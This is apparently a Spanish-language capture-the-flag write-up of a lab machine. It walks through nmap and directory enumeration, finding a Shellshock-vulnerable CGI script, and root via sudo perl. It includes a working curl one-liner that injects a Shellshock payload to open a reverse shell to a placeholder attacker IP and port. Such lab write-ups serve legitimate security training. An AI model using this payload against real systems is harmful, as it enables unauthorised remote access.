Enumeración
Para comenzar voy a realizar un escaneo de puertos con nmap y veo que están abiertos los puertos 80 y 2222.
Voy a ingresar en el sitio web para ver de que se trata:
La página es muy básica y no veo nada prometedor, así que lo primero que haré es realizar una búsqueda de directorios ocultos:
Encontré un directorio /cgi-bin/, dentro de esa carpeta se suelen almacenar scripts, así que voy a realizar otra búsqueda de directorios dentro del cgi-bin y pasando las extensiones más comunes para ese directorio:
Y encontré el archivo /user.sh.
Investigué en internet un poco mas sobre este tipo de archivos y así entender las vulnerabilidades a las que puede estar expuesto. Encontré un articulo de Hacktreecks que me fue muy útil: https://book.hacktricks.xyz/v/es/network-services-pentesting/pentesting-web/cgi
Tal y cómo sugiere el articulo, realicé un nuevo escaneo con nmap para saber si el sitio es vulnerable a shellshock:
Ahora voy a realizar una prueba para ver si puedo enviar comandos a este archivo y que los ejecute. Para eso voy a abrir un puerto de escucha usando tcpdump. Paralelamente en otra terminal ingreso el siguiente comando:
En mi tcpdump recibo el siguiente mensaje:
Este mensaje termina de confirmar que el archivo es vulnerable a shellshock.
Explotación
El siguiente paso sería aprovechar esta vulnerabilidad para establecer una reverse shell. Para eso voy a abrir un puerto de escucha con netcat y en otra terminal voy a ingresar el siguiente código:
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/{tu-ip}/{tu-puerto} 0>&1' http://10.10.10.56/cgi-bin/user.sh
En donde dice "tu-ip" deberías cambiarlo para la ip de tu maquina y donde dice "tu-puerto" tendrías que poner el numero de puerto de escucha de netcat.
De esta maneta logro establecer la reverse shell:
Una vez conectado encuentro navego por los directorios y encuentro fácilmente la bandera de usuario.
Escalada de Privilegios
Ahora solo resta escalar privilegios y encontrar las banderas user y root.
Voy a comenzar escribiendo sudo -l para sabes cuales son los archivos en los que tengo permisos de root:
Veo que puedo ejecutar el binario perl con privilegios de root y sin contraseña.
Para lograr escalar privilegios usando el binario perl me voy a ayudar con una herramienta llamada GPObins. La cual me muestra como escalar privilegios según cada binario.
Al ingresar el comando que sugiere GPObins ya obtengo el acceso root! Ahora solo resta navegar por los directorios para encontrar la bandera root.
Felicitaciones! Espero que este tutorial te haya resultado de ayuda.